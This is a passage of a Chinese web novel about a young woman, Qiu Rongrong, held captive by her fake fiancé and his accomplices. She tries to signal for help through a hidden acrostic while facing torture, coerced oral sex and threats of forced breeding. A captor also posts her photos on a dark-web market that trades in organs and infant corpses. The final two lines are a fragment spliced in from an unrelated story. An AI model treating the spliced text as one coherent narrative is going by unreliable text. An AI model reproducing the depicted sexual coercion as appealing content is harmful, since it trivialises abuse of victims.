“想见你的熟人吗?”
那原本是他准备的求婚戒指。
也是惊喜的最后一步。
只可惜秋榕榕没用上。
秋榕榕看着手上的十克拉戒指闪烁着耀眼的光芒,露出讽刺的笑容。
“见谭松吗?”
若在真相没有揭露之前,她获得了这个戒指,或许她真的会傻傻地以为自己是世界上最幸福的女人。
早点意识到真相,比从幸福的顶端跌落,稍微幸运一些。
周景行点头,“他想见你,沈砚川那边拦不住,答应明天带他过来。
你安分点,别让他察觉到不对劲,不然的话,他会先一步死在你的前面。”
周景行贴近一些,嗅了嗅她身上的气味,现在只残存沐浴露和淡淡的药味,没有血腥气。
他头发偏细软。
碰到秋榕榕的脖颈和锁骨,带来丝丝痒意。
“告诉他,我们要结婚,你将要和我出国,和他划清界限,知道吗?”最后几个字压得极低,他声音温柔,但不是商量,而是命令。
“知道了。”秋榕榕把头埋进被子里,遮挡住心虚的表情。
她不能真的坐以待毙。
待在这里,一旦周景行玩弄她的兴趣消失,她必死无疑。
只有不放过每一次求救的机会,才有逃出生天的可能。
她想把消息传递出去,但不能让谭松涉险……
明天是个好机会,她得想个好办法委婉地提醒谭松自己正身处险境。
周景行慢慢地拽掉他盖在脸上的被子,翻身上床,捏着她的下巴,“躲什么?”
“我好累,我想睡觉了。”
他冰凉地直接抚上她的红唇,“夜晚又降临了。”
秋榕榕瞳孔微缩,因为畏惧语气有些急促,“我里面还有伤,明天我得见谭松,要是身上有血的味道,他会发现我的异常,你要是不想看到这种情况出现,就让我今天晚上好好休息。”
周景行的这在她的唇上流连,也不表明态度。
秋榕榕低声下气地说道:“哥哥,让我缓一缓,我承受不住。”
周景行没有看她的眼睛。
他慢悠悠地说道:“不用你受伤的地方,不会再让你额外出血。”
纵使他这么说,她还是很害怕。
身体止不住地颤抖。
无论再遭遇多少,秋榕榕都无法熟悉疼痛。
他点了点她的唇,“这里。”
秋榕榕没经验,眼神懵懵懂懂的,水润的红唇微张,一开始还没想通是什么意思。
他给她戴上防止咬合的口器,她才惊恐地意识到他想干什么。
屈辱感瞬间涌上心头。
他坐在床边。
让她跪在地下。
他睨着她,修长的手指穿过她后脑勺的秀发。
……
一个小时后,秋榕榕看着镜子里眼睛充血的自己,又忍不住地干呕了起来。
吃下去的东西已经吐空。
她已经刷了三次牙,刷到牙龈有些出血。
要不是周景行把秋榕榕从卫生间里强制拽出来,她今天晚上估计想干脆睡在浴缸里。
周景行确实做到了让她恐惧每一个夜晚的到来。
睡觉时,秋榕榕缩在墙角,试图从靠墙壁的那一边获得安全感。
以前,她喜欢缩在周景行的怀抱里,像一只乖巧的小鹌鹑。
而现在,她尽量远离他。
睡到半夜迷迷糊糊的时候,秋榕榕好像听到他叹了一口气,又重新把她抱进怀抱里。
耳边的声音似真似幻。
遥远又接近。
像是来自身后。
也像是来自她的身体里。
「老婆,我们已经订婚了,我情不自禁才这么做的。
你不要生气,明天我就带你去见你的朋友,见到朋友,你的心情就会变好。
开心一点,想想开心的事情。」
明天就能见到谭松。
求救的机会就在眼前。
秋榕榕感觉到了好多只手将她包裹,缠成一个巨大的人形茧,她在茧里孵化。
第75章 求救
昨天晚上听到那个声音之后,秋榕榕内心的屈辱感减弱,她开始让自己忘记那些痛苦的细节,然后好好休息保存好体力。
周景行替她穿好衣服,又涂上了带颜色的唇彩,让她的气色显得好上一些。
被拔了指甲的时候戴上手套。
遮住伤口看不出来。
门铃声响起。
周景行开门。
谭松和沈砚川一起来的。
他一身黑色休闲运动装,做了三年牢,他身上还残存着对外界的陌生感。
见到秋榕榕时,谭松眼里多了几分熟悉的亮光。
“又见面了。”他快步走上前,嗓音低哑,目光落在她脸上,确定她完好无损后,才放轻松,“说好的来接我出狱,放我鸽子,真不够意思。”
秋榕榕嘴角扯出平静的笑,她缓缓道:“这段时间,牢里没人欺负你吧?我之前是记错时间了,请原谅我吧。”
“还行,就是得天天糊信封。想让我原谅你,你得还我一顿饭。”谭松耸耸肩,倒是看得很开,坐牢之后每天作息正常,又因为只有三年,他没受到太多的磋磨。
秋榕榕抿唇笑,比了一个ok的手势。
沈砚川就坐在沙发的另一端,手里翻着报纸,动作很轻,好像对这场寒暄并不感兴趣。
周景行站在秋榕榕身侧,握着她的手。
“里面还习惯吗?”秋榕榕状似无意地从周景行的掌心里抽回手。
她假意和谭松寒暄,说的都是一些没营养的话。
“嗯。”谭松点头,不明所以地看着她,“坐牢有啥习惯不习惯的?反正我是不想再回去了。”
“危难的时候已经过去啦,出来之后都是坦途。”
“也许吧。”谭松冲她眨眨眼,“出来还能见到你,我就挺开心。沈砚川邀请我去挑战尾崎八项,你要是有时间的话,给我捧捧场。”
周景行在一旁淡淡的开口,招呼着他们坐下,“站在这里多累,去沙发那边坐坐吧,我去给你们泡杯茶。”
秋榕榕没说话。
谭松倒是不客气地翘着腿,坐在沙发上。
他不想喝茶,他想喝可乐。
“榕榕,坐我身边。”他把自己身边的位置留给秋榕榕,然后看一下厨房里泡茶的周景行,小声对秋榕榕说:“你未婚夫应该不会介意吧?”
“快闭嘴吧你!我未婚夫当然会介意。”
秋榕榕虽然这么说,但还是坐在谭松身边。
沈砚川慢慢合上报纸,视线抬起,若有若无地扫过他们。
“找到工作了吗……我是说,等你挑战完之后要不要找个正式的工作?”秋榕榕察觉到沈砚川警告的目光,硬着头皮继续说道。
“暂时还没,先看看机会。”谭松出狱后已经得知徐家倒台的事情,他准备挑战完成后,去找个正经工作。
“帮我个小忙吧,谭松。”
谭松抬头看秋榕榕,总觉得她今天说话的语气怪怪的。
语气和表达方式都很怪。
有点像强颜欢笑。
这时候,周景行端着热茶走过来,将茶盘放在茶几上,唇角带着浅淡的笑,温柔缱绻的眼底是淡漠和冷意,“要帮什么忙?我可以帮你。”
秋榕榕端起热茶,茶杯烫手,她吹了吹,抿了一小口,语气随意,“手工艺品,大三的时候参加雕塑展自己做的,有纪念意义,后来一直在展厅里摆着,我没有拿回来,谭松反正还要回趟学校,我就想让他帮我带一下。”
“到时候我去帮你拿。”沈砚川率先出声。
秋榕榕笑着点头:“也可以。”
她要传递的信息已经全部说完。
藏得非常隐晦。
只希望谭松可以发现。
秋榕榕在和谭松聊天的时候,每句话开头的第一个字连接在一起,就是“这里危,快找帮手”。
她希望谭松能赶紧出去报警。
然后带着警员来这里。
谭松从进门开始就注意到秋榕榕手指上的大钻戒。
他心想,如果秋榕榕跟着他,就只能去吃路边摊,住出租屋。
现在亲眼见证她的幸福,他就可以安然地去挑战自己的梦想,完成尾崎八项,以凡人之躯去征服自然。
“你什么时候准备结婚?”
秋榕榕知道,谭松还没意识到她在求救,心里有些懊恼。
都怪这个大钻戒太夺人眼球。
周景行和沈砚川都在,她也不敢太明显地去提醒谭松。
“我比较喜欢1月份,但是具体的日期还在商量。”
快注意到“一”这个数字!
“一月是冬天。”谭松有些意外,秋榕榕这种性格应该更喜欢夏天。
“归墟市的冬天银装素裹,白雪会将这个灰蒙蒙的城市染成纯洁的色彩。”
求求了,快注意到她的不正常。
“那就一月吧。”周景行拿走秋榕榕手中的茶杯,“别喝了,喝多了晚上你又睡不着觉。”
谭松“啧”了一声。
看来他们两个晚上睡在一起了。
周景行温和如水,“你要是觉得一月归墟市太冷,我可以带你去南方办婚礼。”
现在已经是冬季。
距离一月很近。
秋榕榕转了转眼珠子,“我觉得还是留在这里比较好。”
“乖。”周景行压低声音,带着点警告的味道,“我想给你一个完美婚礼。”
秋榕榕胡乱着点头。
“都听哥哥的。”
谭松以为他们在秀恩爱。
他站起身,“行吧,我今天见到你没事就放心了,没事儿多找我聚聚,我到时候参加挑战,你一定要来,听到没?”
谭松拍了拍秋榕榕的肩膀,手上的力道有些没轻没重。
“好。”秋榕榕欢欣地答应。
先答应下来。
到时候如果她没有到场,谭松肯定能意识到什么。
送谭松出门的时候,秋榕榕轻轻咬着下唇内侧,鼓起勇气握住谭松的手迅速地在他手心下滑下“一”字。
“你要好好的!去做极限运动,一定要注意自己的安全!”
谭松愣了一下,他笑着摸了摸秋榕榕的脑袋,“放心,我可是高手。”
周景行把秋榕榕赶紧拉了回来。
谭松吹了一声口哨,“你的小未婚夫吃醋了,我还是赶紧走吧。”
“拜拜。”
谭松心情不错地和沈砚川离开。
他前脚出门,后脚屋内的气压就降低下来。
周景行脸上的笑意消失。
第76章 暗网
他牵起他的左手,手指轻轻地按在她的伤口处,因为指甲剥落,只剩下软肉,稍微按压,就会产生强烈的痛楚。
秋榕榕的心悬在刀尖上。
她怕他发现。
“舍不得谭松离开?”周景行没有用力,他眼神柔和,静静地看着她。
秋榕榕的整个指尖却都在颤抖。
“没……没有,我这几天被逼得太狠了,哥哥,刚才见到他我才能喘一口气。”
悬而未决的刀。
凌迟她的肉体,也凌迟她的精神。
“我会给你喘息的时间,你不需要求助他。他给不了你帮助,你的接近只会给他带来更快速的死亡。”周景行放开她的手,抚摸了她唇角裂开的小伤口。
这才几天,她已伤痕累累。
她昨天晚上的状态已经很差。
最后濒临窒息的时候,她已经没有力气挣扎。
瞳孔涣散。
但今天早晨,她又神奇地恢复了一些精神。
周景行用小动作暗示她昨天的遭遇,试图让她反复回想痛苦,但秋榕榕并没有如他预想的,立刻露出屈辱的表情。
她当时对痛苦的感觉很强烈。
但经过之后,她从那种状态下走出来的速度又很快,变得迟钝。
就算是皮筋,拉扯到一定的限度,也会失去弹力。
更何况是人。
周景行不知,秋榕榕是如何安抚好自己的。
下午的时候,江无渡从地下室上来,他拿出一套兔女郎的衣服,给秋榕榕换上,然后让她和徐照一起拍照片。
徐照也被江无渡穿上女装。
他黑着脸。
头上还戴着红色的假发。
徐照爹妈的基因都不错,再加上富贵养人,他外表俊美,生得棱角分明,鼻梁高挺,就是性格差劲,表情凶悍刻薄,让他显得非常不好相处。
戴上假发,不伦不类的,倒是有点像那种脾气差的大美女。
“这装扮还挺适合你。”
徐照立刻反唇相讥:“这么性感的衣服穿到你身上,糟蹋了。”
“你们两个靠在一起。”江无渡在旁边指挥着他们的拍照动作。
秋榕榕不知道江无渡这么做的目的,但是看着他把照片一张又一张的传上背景是黑色的网站,就知道他又在干坏事。
趁着江无渡在传照片,秋榕榕小声地说道:“他是不是在把我们传到暗网上面,给我们寻找买主?”
徐照猜测:“应该是给我们的器官寻找买主。”
他们说话的声音很小。
但江无渡还是在噼里啪啦敲击键盘的时候听见。
“不是。”正在传照片的江无渡忽然抬起头,冲着他们露出了扭曲的笑容,他那双眼睛被阴影笼罩,“我怎么舍得卖大兔兔呢?我的好友已经答应我,让你们配种,网上有好多人求购三个月的小兔兔尸体,据说用来包馄饨吃,可以让人永葆青春。”
暗网上充斥着人性之恶。
里面有各种各样的买家,因为自己的癖好,在上面求购各种耸人听闻的商品。
江无渡的话像是冰针,直直地刺穿耳膜,扎进秋榕榕的脑袋里,血液逆流着冲进大脑,轰鸣声中,四周的声音都仿佛被抽走。
秋榕榕膝盖发软,脚步虚浮,要不是徐照扶着她,她会跌坐在地上。
“别怕,只是一个小手术,我会给你打麻药的。”江无渡也不知道是在恐吓她,还是在安慰她,“我以前有过医师资格证,只不过后来被吊销,你不用担心,证书书不在,我的技术还在。”
“好了。”江无渡敲击键盘按下发送键。
他在暗网上的卖家等级很高。
刚把商品照片发上去,就有人咨询。
江无渡发送好照片后,上去拿新的衣服给他们换。
他刚离开,秋榕榕就赶紧跑过去,想要用他的电脑,对外发消息求助。
“别碰!他电脑上有报警器,我之前试过。”徐照赶紧阻止她。
秋榕榕的手僵在半空中。
她失魂落魄地退了回来。
“你……要不你自杀算了?”就连坏事做尽的徐照也忍不住用怜悯的目光看着秋榕榕,“我之前一直以为我不是好东西,但和这个变态相比,我还是小巫见大巫了。”
徐照被卖了个肾和一个眼球。
他也好不到哪里去。
秋榕榕咬着牙,“别劝我自杀,你怎么不自杀?”
“我爸就我一个儿子,他不会放弃我的。我还有许多朋友,没我的照顾,他们的公司根本就开不下去,就算是为了钱,他们也会来找我。”
徐照在地下室被关得太久,他不知道徐氏集团现在的情况。
他们家的集团已经被周景行和沈砚川瓜分得差不多了。
“你不来学校之后,除了林向婉向我打听过你的行踪,没有其他的人问过你。”秋榕榕往旁边挪了几步,找个墙靠坐着。
她不得不提醒他:“徐照,其实你人缘挺差的。”
徐照冷着脸,“你交往四年的男朋友这么对你,你的人缘也好不到哪里去。”
“他不是我男朋友。”秋榕榕从一开始就没有得到过。
徐照见她实在可怜,给她出主意:“听他话里的意思,是你男朋友同意他这么做的,你想保全自己,最好回过头去求你男朋友。”
“周景行对我没感情,求他没用。”
眼泪只对在乎的人有用。
否则就是哭干了,哭瞎了,也没人会在乎。
“四年一点真感情没有?”徐照不太相信。
他欺负了林向婉这么多年,但原则上也是只能自己欺负,不能让别人动他的人。
秋榕榕摇头:“没有。”
他们之间不是爱恨交织,是非常纯粹的恨。
他不仅让她死,还要让她死得痛苦万分。
“你混得可真失败。”徐照也坐在他的身边,把头上的红色假发扯下来扔到一边,“你要是想开了自杀告诉我,我和你一起死。”
“……”秋榕榕就算没得选,黄泉路上也不太想和徐照一起同路。
她反过来给徐照出主意。
“我还是想活,如果你不想活了的话,我给你偷点武器下来,你试着看能不能反杀,要是成功了,你至少能带一个下去。”
他们一共三个人。
一旦动手,无论成功失败,必死无疑。
而且激怒他们,一定会被虐待致死。
徐照扯了扯唇角,将手按在腹部,“那算了,我觉得我一个肾还可以再撑撑。”
秋榕榕把头上的兔子头箍摘下来沉思。
徐照说得对,想逃过这一劫她只能从周景行那里下手。
求饶是一定没用的。
留给她的时间不多。
怎么样能把握到主动权呢?
第77章 孩子
周景行对她没有感情,她一点谈判的筹码也没有。
留着她的命,只不过是不想让她死得太轻易。
如果她怀上的是他的孩子呢?
虎毒不食子。
他是否会因此等到她把孩子生下来再动手。
秋榕榕不敢保证。
但她觉得,他再怎么歹毒也不至于把自己的小孩卖了。
最多是让她把孩子打了,然后埋掉。
她把这个想法说给徐照听。
徐照毫不留情地嘲笑她,“你在想些什么呀?你以为一个孩子对于他们这种人来说很珍贵吗?根本无所谓的好吧!”
“你当年把林向婉的孩子打掉,也是这么无所谓吗?”
徐照立刻寒了脸,他觉得秋榕榕白开水一样的性格,竟然也能说出这么烫人的话。
他说:“关你屁事。”
秋榕榕想,当然关她的事,而且是生死存亡的大事。
她不了解坏人的想法。
徐照和他们最接近。
他的想法,应该有参考性。
秋榕榕能感觉到,周景行在避免让她怀孕的情况出现。
他们自从摊牌后,有过两次亲密接触。
但均是出于折磨的本意。
没到能怀孕的那一步。
“我觉得他是因为恨我,才不真的和我上床。”
“也有可能是嫌弃你,你身上的那些疤谁看了都嫌弃。”徐照说出来的话句句扎心,“你也是天真,自己认不清自己,明明是倒贴都被人嫌弃的角色,竟然相信有人愿意和你谈恋爱。”
秋榕榕忍不住反对道:“我不觉得我很差劲,我是值得被爱的,只不过第一次遇错了人,如果再给我一次机会,我一定会好好辨别。”
秋榕榕以前面对周景行,确实会自卑。
但她也会时不时去调解自己。
她会告诉自己,她以前也是有爸爸妈妈疼爱的,小的时候也被称作小公主。
是有人害了她。
她身上的疤痕是被人一刀一刀割的,不是她天生就有。
又不是所有人都看外表。
她不是坏人,从小到大都没有做过坏事,诚实善良,她觉得肯定有人能透过她千疮百孔的外表,看见她赤忱火热的灵魂。
现在的周景行是亡命徒,不是她的好归宿。
是他配不上她了。
等摆脱了周景行,从他们这些坏人的手里逃出来之后,秋榕榕还可以重新开始。
她只要去努力生活,就一定可以让自己过得幸福。
只要有命,就有机会。
她给自己加油打气。
徐照看见秋榕榕正在想事情,她低着头,细软的头发会挡住她的半边脸。
她总是会时不时皱着眉头,脸本来就很小,两条眉毛细细长长,衬得眼睛水灵,秀气得紧。
她其实很漂亮,是那种令人爱怜的漂亮,残缺的美感在徐照的审美之上,但他就是不想和她好好说话。
“你的行动比较自由,他们几个都是男的,你要是会做婊子,就去挑拨他们的关系,让他们为了你起冲突。”
“你可太看得起我了,我不是能做红颜祸水的命,我可不想跑到他们每个人面前去送死。”
秋榕榕不会骂人。
如果姜雨薇在,肯定会帮她骂徐照,让他自己去卖屁股,男的又不是没有。
秋榕榕想不到这种词,她只会拒绝徐照出的馊主意。
她不知道姜雨薇打过她很多次电话。
秋榕榕的手机被周景行拿走了。
她现在过得不好。
于是,又开始想念一些人对她的好。
哪怕那些对她好的人,也曾对不起她。
不行。
人不能总是回头看。
只有将死之人,才会频频追忆过往。
秋榕榕还想活。
她不再想过去的事情。
徐照在一旁,就看见她的表情变来变去,她真的超级简单易懂,开心难过都写在脸上,就连下决心的时候也会捏一下拳头。
秋榕榕注意到他的目光,摸了一下自己的脸,“我脸上有什么东西吗?你这么盯着我看。”
徐照没好气地说道:“你如果想干坏事,最好头低一点,免得你还没行动就被人识破。”
秋榕榕哼了一声,把脸别过去。
她这不叫做坏事。
这叫反抗邪恶势力。
归墟市的冬天,夜晚降临得格外早。
沈砚川开车送谭松离开。
谭松靠着副驾驶的座椅,没系安全带,风吹乱他额前的碎发,他也不说话,只是眼神游移看着窗外。
见过秋榕榕后,谭松总心里空落落的。
在牢里,他就惦记着她。
他觉得,自己是喜欢她的,至少比自己之前在酒吧里遇到的女生要喜欢得多。
家里破产后,他纵情声乐。
夜,一夜一夜地熬。
酒,一瓶一瓶地喝。
女朋友,也是一个一个的换。
总觉得今天就这么活着,明天死了也无所谓。
可坐牢的时候,作息规律。
每天强制着早起早睡。
他清醒的时间多,便越发思念秋榕榕。
如果没周景行,谭松觉得他会认真追求她,如果她愿意,他会对她好。
连着他爹对不起秋榕榕的,一并补给她。
但秋榕榕现在身边有了周景行。
他们还订了婚。
周景行比他条件好太多。
秋榕榕选周景行,肯定比跟着他这个坐过牢的小混混,更能过上好日子。
“还惦记着秋榕榕呢?”沈砚川开着车,漫不经心地问。
谭松偏头看向窗外,风声掩去了他的叹息:“他们谈了四年,怎么就不分手?”
说着,谭松又握着拳头砸了一下旁边的车门。
他咬着后槽牙,喉咙里憋着一股闷气,“我要是没进去……说不定还能争一争,也不至于我一出狱,她就把婚定了。”
“她有什么好?”沈砚川语气平静,“考研刚刚达上线,长得也不算惊艳。你以前不是只喜欢那种聪明漂亮的女生?”
沈砚川照顾了秋榕榕三年多,在他眼里,秋榕榕就是那种很普通的女生。
放到人群里一抓一大把。
不值得人惦记。
谭松以前也是过过好日子的。
这种不应该入他的眼。
谭松眼睫低垂,声音闷闷的,收敛起平时的痞气,“就觉得娶回家,两个人过普通的日子也挺好的。”
沈砚川感到稀奇,“你可不是追求平淡的人。”
不然,沈砚川也不会在翼装飞行俱乐部制造偶遇,接近他。
谭松看着手心里那道穿长而过的疤痕,握紧,“对象是她,也不是不行。”
最重要的是,谭松现在觉得是自己配不上她。
沈砚川若有所思,“那你没机会了。”
“这有什么?结婚还能离婚。”谭松觉得要不是秋榕榕道德感太高,他早就拿下。
当男小三也不是不行。
“也对。”沈砚川扶了一下眼镜。
结婚可以离婚。
死了也可以配冥婚。
他们还是有希望的。
第78章 杀死
谭松去学校去找秋榕榕所说的手工艺品。
学校确实有雕塑展。
但谭松并没有找到秋榕榕的作品。
他多方打探,才得知秋榕榕根本就没有参加这场比赛。
“怪了,研究生也不去报道,雕塑展也记错了。”谭松靠在雕塑厅外的栏杆上,低声咕哝,“果然恋爱中的女生都是傻瓜。”
谭松没那么细心,秋榕榕上次的暗示过于含蓄,他没能理解她表达的意思。
那天,秋榕榕在临行的时候主动握他的手。
她还用手指勾了他的手心。
谭松理解成她舍不得他走。
他看着旁边练习室里的油泥和木刀,不由自主地笑起来。
总得再找个借口去见她。
谭松准备雕一个小的雕塑,刻上她的名字给她送过去。
反正他看不顺眼周景行。
谭松总觉得,周景行是空心人。
他坐牢三年,周景行都没能把秋榕榕养胖一些,想来他只能给她富贵安稳,不能给她开心。
在练习室里几番雕刻,谭松制作了一个巴掌大小的雕塑兔,摆在台面上晒着。
谭松心情愉悦地看着这个小兔子。
这是他再见她的理由。
——
秋榕榕和徐照拍完照片后,江无渡又把她放了回去。
这是第二次,江无渡在周景行回来后,放她回去。
就不知,可还有幸运的第三次。
秋榕榕回房间,连衣服都没有来得及换。
周景行进来时,她正准备从柜子里面拿睡衣。
他没有锁着她。
但她现在能去的地方,只有周景行的卧室和客厅。
有时夜晚,秋榕榕能听见周淮远呕吐的声音。
她想去看看。
周景行不允许。
她若还想去。
他便让她的惨叫声遮盖住隔壁的声音。
很神奇,周淮远听见秋榕榕在惨叫,就会安静下来,然后在夜深人静的时候偷偷敲墙。
周景行的睡眠很浅,周淮远智力又不正常,敲墙可能是他想到的唯一一个能和秋榕榕沟通的方式。
秋榕榕不敢回应他。
因为周景行会在夜里侧着身子看着她,温声说:“一个傻子,整天这么惦记着你,我本来给你准备了一个盛大的求婚仪式,最终也被那个傻子毁了。”
“那你给我补一个。”秋榕榕想勾着他的脖子。
但他不给了。
估计是怕她暗算他。
晚上就算睡在一起,他也会用手铐把她的两只手铐在床头。
秋榕榕费劲去勾引他。
他也没兴趣。
唉,他对她的主动没兴趣。
主动权,她拿不到。
她诱哄、暗示、顺从、撒娇,他都不为所动。
“我是你的仇人,你怎么会想怀上仇人的孩子?”他声音轻慢,眸色却冷。
秋榕榕看着他,没否认。
看吧,什么都瞒不过他。
周景行太容易就猜到秋榕榕的想法。
反正她也不会说谎话,就干脆实话实说。
“江无渡的手段很恐怖,我承受不住。要是能怀上你的孩子,说不定能逃过这一劫。”她的眼是夜里漾起水波的湖心,“哥哥,我只配合你的游戏不好吗?别把我给别人。”
他捏着她的下巴,眸色幽深,“秋榕榕,那你的尊严呢?
浴室里的牙刷,桌子上的铅笔,我都没有拿走,你为什么不拿着这些东西反抗?”
这些东西确实可以作为武器。
只要能从眼珠子里戳进去,还是有不小杀伤力。
秋榕榕讥讽地笑了笑:“这些东西能反抗谁?你还是江无渡?”
“我拿这些,是不是正好给你一个加重惩罚的借口?”
她嗓音很轻,几乎是蛊惑,“除非你给我一把真枪,有子弹那种。哥哥,你能给我吗?”
他有一刹那的失神,差点真的觉得给她一把枪也不错。
可惜他不是傻瓜。
周景行放开了她。
他平躺在床上,不再压制着她。
“虎毒不食子,但我是人。”周景行温和地打破她的妄想,“我不会因为你怀的是我的孩子,就对你手下留情。”
秋榕榕沉默片刻,她不该说,但还是说道:“既然不在意,又何必把这件事情挑明了问我?”
周景行怔愣。
他觉得自己可以如此狠毒。
但他没试过走这一步。
秋榕榕反问他,他才意识到,他并不想走到这一步。
孩子是两个人的。
他作恶,但他知道那是恶。
至少,他还没想过把这份恶,报在他自己孩子的身上。
周景行意识到秋榕榕的话能够影响到他的情绪。
他们相处四年。
就算他一直在伪装,她还是在细枝末节的相处中,察觉到了他所在意的。
周景行狠下心道:“你还是为我创造一些经济价值吧,明天,江无渡会引导你们,我就不参观了。”
他必须把这根怪异的软刺拔除。
以证明他把她留下来,只是为了折磨,而不是其他什么可笑的原因。
看,他可以轻易把她送出去。
就算只是消磨时间的人质,也不是非她不可。
秋榕榕脸色倏然苍白,“你不能这么做……你会后悔的!”
“你想想呀,你越是迅速地决定时间想要把我处理掉,就证明你越是在意……你只有慢慢的来,才会显得游刃有余。”
她说的或许正确。
但就是因为太正确了,周景行不能让她的话影响到。
悬在头上的达摩克里斯之剑终是落下。
周景行一字一句地说道:“我一定不会后悔。”
他是说给秋榕榕听,也是说给自己听。
秋榕榕的手腕因为情绪激动,剧烈挣扎,磨损出鲜血,短短几日,她瘦得可怜,脊背的骨头突出来,下巴也愈发的尖。
他尽量不去看她。
只听她凄惨的声音。
却不看她瘦骨嶙峋的外表。
他说:“我会从精神上,杀死你一次。”
精神一次。
肉体一次。
才算死得彻底。
房间里的光暗下来。
他离开后将门反锁。
秋榕榕没办法换一个舒服的姿势躺着。
好想哭,又哭不出来。
她不敢去想明天。
身体的疲累超过精神,她最终还是昏昏沉沉睡去,在半梦半醒之间,她又听见开门的声音。
第79章 逃避
门开了。
也可能没有开。
有人解开她手腕上的镣铐,把她抱在怀里,轻轻地哄着她。
「宝贝,别害怕,到时候眼睛一闭就过去了。」
「反正也不一定会怀上,开心点,至少不是今晚。」
秋榕榕紧绷的精神稍稍缓解。
她听见隔壁有人在唱《十只兔子》的童谣。
“大兔子病了,二兔子瞧,三兔子买药,四兔子熬……”
而渐渐地,这首童谣变成了摇篮曲。
在秋榕榕耳边,她听见的是:
「小白兔,白又白,两只耳朵竖起来……」
噩梦在童谣里,消失不见。
无论明天如何,今天晚上她还是睡了过去。
第二天醒来后,她手腕上的镣铐仍在,只是流血的地方,被换上了药缠上绷带。
清晨的大脑空荡荡的,格外的宁静。
秋榕榕已经清醒过来,但身体里的情绪还没有复苏。
她打了个哈欠。
可惜不能伸懒腰。
屋外的阳光透过窗帘的缝隙,一缕光束投在床上。
她侧过头面向有光的地方。
又是新的一天。
周景行进来的时候,她还在睡懒觉。
现在应该是他上班的点,但他还在家里。
“今天是休息日吗?”秋榕榕想转个身子问他,但手铐实在不方便,她一动就容易碰到伤口,干脆就保持现在这个姿势。
周景行听见秋榕榕又主动和他说话,走到床边,面无表情地把她手上的手铐解下来。
昨天的痛苦尤在眼前。
今天又能正常说话。
周景行觉得她就吊在那个即将崩溃的线上,上不来,也推不下去。
“嗯,今天休息。”
“那给我也放天假。”
周景行正习惯性地把枕头放在秋榕榕的腰上,他仔细去看她的脸,她的喜怒哀乐很简单,一眼就能看透,根本不值得他花那么多时间去观察她。
但他总是忍不住去看她。
就像今天,事情交给江无渡处理就行,他本应该出国,去参加一个商务洽谈活动,但他还是留在国内,并且在早晨帮她包扎手腕上磨损的伤口。
他来看她的时候,想过,她应该不会理他。
但进门后第一句话,是她说的。
于是他说:“不会给你放假,也不会放过你。”
他把话说透,让她别痴心妄想。
“哦。”秋榕榕点点头,“我早晨想吃豆腐包,牛奶不要加糖。”
她不求他。
明明昨天,他告诉她这个决定,她像是天塌了,一直站在他的角度试图劝说他放弃这个想法。
今天睡一觉醒来。
她就像是被初始化的程序。
不再求他。
“没有这些东西。”
“星汇广场那里有卖的,就是我们之前常吃的那一家。”
秋榕榕如果发现自己无论如何也不能改变现在的局面,她就会给自己求一些现实的东西。
比如说最基础的,吃饱睡好。
多熬一天。
见周景行无动于衷,秋榕榕微微蹙眉,“这都不给了吗?”
继而,她又叹了一口气,“昨天你就当我自作多情,现在我知道了,我和其他人质是一样的,在你的心里一点分量都没有,就算怀上你的小孩你也不会在意,因为小孩是从我的肚子里出来的,在你眼中,那也算是仇人的小孩。”
按照他的逻辑,说不定也会成为报复的对象之一。
“你知道就好。”
秋榕榕把头蒙起来,看样子他也不准备给她吃豆腐包,那她干脆再睡个回笼觉。
今天是休息日。
休息日就该多睡一会儿。
周景行走到走廊处,他看见江无渡正在抽烟,他没有其他的爱好,在这种时候,他好像无事可做。
他只会去回想秋榕榕的话。
关于孩子的聊天让他有些恍惚。
在和秋榕榕假意恋爱的四年里,她总是不止一次地去提到家庭,提到婚姻,提到孩子。
她很传统。
所以他才会在床事上羞辱她。
因为传统的女人都在乎贞洁。
但换在这种事情上,秋榕榕又变得不那么传统。
恋爱的时候,主动的是她。
换到现在,她又跑过来问,反正他们要逼她怀孕,那能不能怀他的。
她觉得,如果孩子是他的,他至少不会对孩子动手。
说不定还会为了孩子照顾母体。
他不会。
周景行告诉自己,他不会。
她费尽心思,想抓住伤害最小的那条路。
他不会让她如愿。
江无渡从秋榕榕的房间里走出来,他将烟蒂按在烟灰缸里熄灭。
“早餐给她安排了番茄汁,你不让她下来喝吗?”
“我出去一趟。”
“那我先让他们开始了?”
“等我回来。”周景行要在一旁看着。
以此来确定,他的初心不曾改变。
周景行去了星汇广场,买回来豆腐包。
包子店的老板见到他,笑呵呵地问他:“今天你的女朋友怎么没有一起来?”
在外面,周景行一向谦和有礼:“她在家睡懒觉,我买回去给她。”
老板和着面感慨:“你们可真恩爱呀!”
以前,周景行和秋榕榕周六日早晨如果想睡懒觉,会一起赖会床,然后再去早餐店里吃早点。
他没有在别墅里安排保姆。
王阿姨其实可以。
她当年就是他家里的保姆,这么多年来一直忠心地跟随着他。
但她更适合照顾生活没有自理能力的人。
她年轻的时候被丈夫家暴,后来直接挑了自己丈夫的手筋脚筋,把他躺在床上。
后来他的丈夫硬是绝食自杀。
王阿姨便一直在找能够替代他丈夫的人。
周叔叔挺合适的。
周景行把周叔叔当成礼物奖励给王阿姨。
周景行也没有聘私厨,他自己会做饭,秋榕榕也会,他们之间的胃口很相近,都是清淡口,四年来吃家常菜,他竟然觉得也不错。
他不喜繁华。
也不喜欢吵闹的环境。
秋榕榕比他想象中的,还要合他的心意。
秋榕榕看见周景行把豆腐包和温热牛奶拿进房间的时候,有些意外。
她以为他这次不会买了。
“我起来吃,不在床上吃东西,弄的都是碎屑。”秋榕榕利落地下床,先去刷牙。
她不会和自己的肚子过不去。
周景行看着玻璃杯里,温牛奶正在慢慢冷却,“吃完后,来隔壁房间。”
他起身要离开。
秋榕榕正在刷牙,她吐掉嘴里的白沫子,看着镜子里的自己就剩下一把骨头,把牙缸里的水泼在镜子上。
镜里人瞬间面目全非。
多吃点,多长胖点。
秋榕榕一口把牛奶喝了,然后把豆腐包揣在口袋里。
她不出去。
她从床底摸到了通往地下室的门板,钻了下去。
逃避可耻又没用。
但她先躲躲。
当一回把脑袋埋在沙里的鸵鸟。
第一卷 第80章 神像
原本,秋榕榕没准备躲。
如果周景行没带来那个豆腐包,她就认命,和徐照,闭上眼睛,就当是被狗咬了一口。
但他把豆腐包带过来,牛奶也是热过的。
他言行不一致。
心里应是有所纠结。
秋榕榕还有点机会。
她试着可能把今天躲过去。
他们把这栋别墅设得跟密室逃脱一样。
蒋黎明冷笑一声,脚下一错,一拳头打的我头昏眼花,我差一点就一屁股摔在了地上。这蒋黎明是装的,他比老汤都厉害。
看到这里,我多少有些惧意,心想真是见鬼了,难道纸人又复活了。
